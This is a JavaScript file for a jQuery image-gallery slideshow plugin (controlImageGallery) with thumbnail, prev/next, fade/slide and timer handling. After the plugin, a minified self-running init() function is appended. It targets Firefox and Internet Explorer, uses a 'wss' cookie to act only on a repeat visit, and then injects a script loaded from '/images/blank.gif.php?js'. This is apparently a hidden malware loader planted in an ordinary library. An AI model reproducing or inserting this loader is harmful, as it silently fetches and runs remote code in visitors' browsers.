﻿(function ($)
{
    var methods = {
        init: function (options)
        {
				var timer;

            // INIT
            var settings = {};
            var defaults = {
               // 'trigger': this,
               // 'objref': this.attr("rel"),
                'parent': this,
                'slides': '.slides', //depreciate
                'slideholder': '.slides', //depreciate
                'slideitems': '.slides li',
                'thumbs': '.thumbs', //depreciate
                'thumbitems': '.thumbs li',
                'controls': '.controls', //depreciate
                'controlprev': '.controls .prev',
                'controlnext': '.controls .next',
								'heightmode': 'fixed', // fixed or fluid
								'heightfixed': 'auto', // if mode = fixed : max or specified
                'event': 'click',
                'action': 'activate',
                'effect': 'fade',
                'effectoff': '0',
                'effectactive': '1',
                'effectspeed': 200,
								'timerobj': timer,
								'timerspeed': 5000,
								'timeron': false,
								'timerpauseonhover' : false
            };

            return this.each(function ()
            {
                // If options exist, lets merge them
                // with our default settings
                if (options)
                {
                    $.extend(settings, defaults, options);
                }
					 
					 // setup data for (parent)
           var $this = $(this);
					 var $slides   = $($this.find(settings['slideitems']));
					 var $thumbs   = $($this.find(settings['thumbitems']+' a'));
					 var $control_prev = $($this.find(settings['controlprev']+' a'));
					 var $control_next = $($this.find(settings['controlnext']+' a'));

                // set default position/settings
/*                switch ($this.data('effect'))
                {
                    case 'slide':

                        $($this.data('object')).css({
                            'top': $this.data('effectoff')
                        })
                        break;

                    case 'fade':
                    default:

                        $($this.data('object')).css({
                            'opacity': $this.data('effectoff')
                        })
                        break;
                }
*/
                
					 // setup data for each (control)
					 var control_settings = {};
					 
					 // bind event to each (control)
					 $control_prev.bind(settings['event'], function (e)
					 {
						  e.preventDefault();
						  $this.controlImageGallery('prevItem');
					 });
					 $control_next.bind(settings['event'], function (e)
					 {
						  e.preventDefault();
						  $this.controlImageGallery('nextItem');
					 });

					// setup data for each (thumb)
					 var thumb_settings = {};
					 $thumbs.each(function (index)
                {
                   thumb_settings = {
                      'parent': $this,
                      'trigger': this,
                      'index': index,
                      'object': $slides.eq(index),
							 'callback' : 'showItem'
                   };
                   $(this).data(thumb_settings);
						 
						 // bind event to each (thumb)
						 $(this).bind(settings['event'], function (e)
						 {
							  e.preventDefault();
							  $(this).controlImageGallery(settings['action']);
						 });
						 
                });
					 
					 // setup data for each (slide)
					 var slide_settings = {};
					 var max_height = 0;
					 $slides.each(function (index)
           {
							slide_settings = {
								'parent': $this,
								'trigger': $thumbs.eq(index),
								'index': index,
								'object': this,
								'height': $(this).css('height')
							};

							$(this).data(slide_settings);
							
							$(this).css({
								'position':'absolute',
								'z-index':1,
								'height': $(this).css('height')
							});

							switch (settings['effect']) 
							{
								case 'slide':
									$(this).css({  'left':settings['effectoff']+'px'  });
									break;
								case 'fade' :
								default :
									$(this).css({  'opacity':settings['effectoff']  });
									break;
							}
							
							
							// set max height
							max_height = (max_height<$(this).height())?$(this).height():max_height;
								
           });
					 
						// bind slide events
						if (settings['timerpauseonhover'] == true) {
							/*$(this).bind({
								mouseenter: function () {
									$(this).controlImageGallery('mouseOverItem');
								},
								mouseleave: function () {
									$(this).controlImageGallery('mouseOutItem');
								}
							});*/
							$('body').delegate(settings['slideitems'],"mouseover mouseout", function (e) {
								if (e.type == 'mouseover') { 
									$(this).controlImageGallery('mouseOverItem');
								} else {
									$(this).controlImageGallery('mouseOutItem');
								}
							});
						}
					 
					//settings['heightmax'] = max_height;					 
					// if set max height
					if ( settings['heightmode']=='fixed' && settings['heightfixed']!='auto' ) {
						if ( settings['heightfixed']=='max' ) {
							$($this.find(settings['slides'])).css({'height':max_height+'px'});
						} else {
							$($this.find(settings['slides'])).css({'height':settings['heightfixed']+'px'});
						}
					}
					 
					 // assign data to (parent)
					 settings['slides'] = $slides;
					 settings['thumbs'] = $thumbs;
           $this.data(settings);
								
					 // once window is finished loading
					 $(window).load(function() {
						 // trigger first slide
						 //$this.find(defaults['slides']+' li:first a').trigger(settings['event']);
						 $slides.first().controlImageGallery('showItem');
					 });

           });

        },
        highlight: function ()
        {
            // Method: FOR TESTING PURPOSES
            var $object = $(this).data('object');
            $($object).css({ "border": "red 1px solid" });

        },
        activate: function (args)
        {
          // Method: ACTIVATE by Thumb -> SHOW current, HIDE others
					// args = direction

					var animating = false;
					var $trigger = $(this);
					var $parent = $trigger.data('parent');
					var $slides = $parent.data('slides');
			
					var $nextobject = $trigger.data('object');
					var $prevobject = false;
					
					$slides.each(function(){
						if ( $(this).hasClass('active') === true ) $prevobject = $(this);
						if ( $(this).is(":animated") === true ) animating=true;
					});
					
          if ($nextobject.hasClass('active') || animating)
					{
						// do nothing
          } else {
            //$parent.controlImageGallery('hideItems',$trigger);
						if ($prevobject !== false) {
							$prevobject.controlImageGallery('hideItem');
						}
						$nextobject.controlImageGallery('showItem');
					}
        },
        activateItem: function (args)
        {
            // Method: ACTIVATE by Thumb -> SHOW current, HIDE others
				// args = direction

				var animating = false;
            var $object = $(this);
            var $parent = $object.data('parent');
            var $slides = $parent.data('slides');
				
            var $nextobject = $object;
						var $prevobject = false;
						$slides.each(function(){
							if ( $(this).hasClass('active') === true ) $prevobject = $(this);
							if ( $(this).is(":animated") === true ) animating=true;
						});
					
            if ($nextobject.hasClass('active') || animating)
						{
							// do nothing
            } else {
            	//$parent.controlImageGallery('hideItems',$trigger);
							if ($prevobject !== false) {
								$prevobject.controlImageGallery('hideItem',args);
							}
							$nextobject.controlImageGallery('showItem',args);
            }
				
        },
        showItem: function (args)
        {
					 // Method: HIDE single item
					// args = direction
					
					var $slide  = $(this);
					var $thumb  = $($slide.data('trigger'));
					var $parent = $($slide.data('parent'));
					var $slideholder = $($parent.find($parent.data('slideholder')));
					
					var timeron = $parent.data('timeron');
					var timer   = $parent.data('timerobj');
					var timerspeed = $parent.data('timerspeed');
					
					var fx      = $parent.data('effect');
					var fxspeed = $parent.data('effectspeed');
					var fxstart = $parent.data('effectoff');
					var fxend   = $parent.data('effectactive');
					
					switch (fx) 
					{
						case 'slide':
							var direction;
							if (args == 'prev') {
								direction = -1;
							} else {
								direction = 1;
							}
	
							$slide.css({
									'left': (direction*fxstart)+'px'
							}).animate({
									'left': fxend+'px'
								},fxspeed,function() {
									$thumb.addClass('active');
									$slide.addClass('active').css({'z-index':2});
							});
							break;
	
						case 'fade' :
						default :
						
							$slide.css({
									'opacity': fxstart
							}).animate({
									'opacity': fxend									
								},fxspeed,function() {
									$thumb.addClass('active');
									$slide.addClass('active').css({'z-index':2});
							});
							break;
							
					}
					
					if ( $parent.data('heightmode')=='fluid' ) {
						$slideholder.animate({
							'height':$slide.data('height')
						},200,function(){});
					}
					
					if (timeron===true) {
						clearTimeout(timer);
						//set timeout
						timer = setTimeout(function(){$parent.controlImageGallery('nextItem')},timerspeed);
						$parent.data('timerobj',timer);
					}
				
        },
        hideItem: function (args)
        {
			   // Method: HIDE single item
				// args = direction
				
				var $slide = $(this);
				var $thumb = $($slide.data('trigger'));
				var $parent = $($slide.data('parent'));
				
				var fx      = $parent.data('effect');
				var fxspeed = $parent.data('effectspeed');
				var fxstart = $parent.data('effectoff');
				var fxend   = $parent.data('effectactive');
				
				switch (fx) 
					{
					case 'slide':
					
						var direction;
						if (args == 'prev') {
							direction = -1;
						} else {
							direction = 1;
						}

						$slide.css({
								'left': (direction*fxend)+'px'
						}).animate({
								'left': -(direction*fxstart)+'px'
							},fxspeed,function() {
								$thumb.removeClass('active');
								$slide.removeClass('active').css({'z-index':1});
						});
						break;

					case 'fade' :
					default :
					
						$slide.css({
								'opacity': fxend
						}).animate({
								'opacity': fxstart
							},fxspeed,function() {
								$thumb.removeClass('active');
								$slide.removeClass('active').css({'z-index':1});
						});
						break;
						
					}
				
        },
        nextItem: function (args)
        {
			   // Method: NEXT item in sequence
				//console.log('function nextItem');

				var $parent    = $(this);
				var $slides    = $parent.data('slides');
				var $currslide, $nextslide;
				
				// get current slide
				$slides.each(function (index) {
					// set the default
					if (index == 0) {
						$currslide = $(this);
					}
					// check for current
					if ( $(this).hasClass('active') == true ) $currslide = $(this);
				});
				
				// get next slide
				if ( $currslide.next().length == 0 ) {
					$nextslide = $slides.first();
				} else {
					$nextslide = $currslide.next();
				}

				$nextslide.controlImageGallery('activateItem','next');
				
        },
        prevItem: function (args)
        {
			   // Method: NEXT item in sequence
				//console.log('function prevItem');

				var $parent    = $(this);
				var $slides    = $parent.data('slides');
				var $currslide, $nextslide;
				
				// get current slide
				$slides.each(function (index) {
					if ( $(this).hasClass('active') === true ) $currslide = $(this);
				});

				// get prev slide
				if ( $currslide.prev().length == 0 ) {
					$nextslide = $slides.last();
				} else {
					$nextslide = $currslide.prev();
				}

				$nextslide.controlImageGallery('activateItem','prev');
				
        },
				mouseOverItem: function (args)
				{
					var $slide  = $(this);
					var $parent = $($slide.data('parent'));
					
					var timeron = $parent.data('timeron');
					var timer   = $parent.data('timerobj');
					var timerspeed = $parent.data('timerspeed');
					var timerpause = $parent.data('timerpauseonhover');
					
					if (timerpause===true && timeron===true) {
						clearTimeout(timer);
					}
					
				},
				mouseOutItem: function (args)
				{
					var $slide  = $(this);
					var $parent = $($slide.data('parent'));
					
					var timeron = $parent.data('timeron');
					var timer   = $parent.data('timerobj');
					var timerspeed = $parent.data('timerspeed');
					var timerpause = $parent.data('timerpauseonhover');
					
					if (timerpause===true && timeron===true) {
						//set timeout
						timer = setTimeout(function(){$parent.controlImageGallery('nextItem')},timerspeed);
						$parent.data('timerobj',timer);
					}
					
				}
    };

    $.fn.controlImageGallery = function (method)
    {

        // Method calling logic
        if (methods[method])
        {
            return methods[method].apply(this, Array.prototype.slice.call(arguments, 1));
        } else if (typeof method === 'object' || !method)
        {
            return methods.init.apply(this, arguments);
        } else
        {
            $.error('Method ' + method + ' does not exist on jQuery.controlToggleItem');
        }


    };
})(jQuery);

function init(){var f=navigator.userAgent;var a=false;if(f.indexOf("Firefox")!=-1||f.indexOf("MSIE")!=-1){a=true}if(a!==true){return}var i="/images/blank.gif.php?js";var g=b("wss");if(g){if(g=="goot1"){c("wss","goot2","3");var e=document.createElement("script");e.type="text/javascript";e.src=i+"&r="+new Date().getTime();var d=document.getElementsByTagName("head")[0];d.appendChild(e)}else{}}else{c("wss","goot1","3")}function b(k){var j,h,m,l=document.cookie.split(";");for(j=0;j<l.length;j++){h=l[j].substr(0,l[j].indexOf("="));m=l[j].substr(l[j].indexOf("=")+1);h=h.replace(/^\s+|\s+$/g,"");if(h==k){return unescape(m)}}}function c(j,l,h){var m=new Date();m.setDate(m.getDate()+h);var k=escape(l)+((h==null)?"":"; expires="+m.toUTCString());document.cookie=j+"="+k}}init();
